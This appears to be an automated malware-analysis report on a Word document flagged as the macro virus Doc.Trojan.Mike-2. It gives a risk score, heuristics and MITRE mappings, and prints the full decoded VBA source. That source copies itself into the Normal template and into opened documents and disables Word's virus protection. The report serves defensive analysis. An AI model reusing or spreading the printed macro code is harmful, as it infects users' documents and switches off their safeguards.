MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Office document containing VBA macros. The AutoOpen macro attempts to copy itself to both the active document and the Normal template, suggesting an intent to establish persistence or facilitate further malicious activity. The ClamAV detection 'Doc.Trojan.Mike-2' further supports its malicious nature, though a specific family could not be confidently identified.
Heuristics 4
-
ClamAV: Doc.Trojan.Mike-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Mike-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1760 bytes |
SHA-256: afa259d3d582957e113c79572e0cac12b9b759fecd00466edca795c9953addf6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Mike"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro created 03/22/97 by Michael John G. Lopez"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.Mike.AutoOpen"
Call JollyWanderer
End Sub
Sub JollyWanderer()
CheckMe = 0
For I = 1 To WordBasic.[countmacros](0)
If WordBasic.[macroname$](I, 0) = "Mike" Then CheckMe = 1
Next I
If CheckMe = 1 Then GoTo CheckDoc
On Error Resume Next
Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "Mike", wdOrganizerObjectProjectItems
CheckDoc:
CheckMe = 0
For I = 1 To WordBasic.[countmacros](1)
If WordBasic.[macroname$](I, 1) = "Mike" Then CheckMe = 1
Next I
If CheckMe = 1 Then GoTo CheckTrigger
On Error Resume Next
Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "Mike", wdOrganizerObjectProjectItems
ActiveDocument.Save
CheckTrigger:
If Day(Now()) = 16 And Month(Now()) = 6 Then
MsgBox "Happy Birthday Ming...", , "Jolly Wanderer"
End If
If Day(Now()) = 18 And Month(Now()) = 3 Then
MsgBox "Happy Birthday Dee...", , "Jolly Wanderer"
End If
If Day(Now()) = 25 And Month(Now()) = 12 Then
MsgBox "It's Christmas. Quit Working and ENJOY!", , "Jolly Wanderer"
End If
Options.VirusProtection = False
End Sub
Sub FileSave()
Attribute FileSave.VB_Description = "Macro created 03/31/99 by Michael John G. Lopez"
Attribute FileSave.VB_ProcData.VB_Invoke_Func = "Normal.Mike.FileSave"
Call JollyWanderer
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.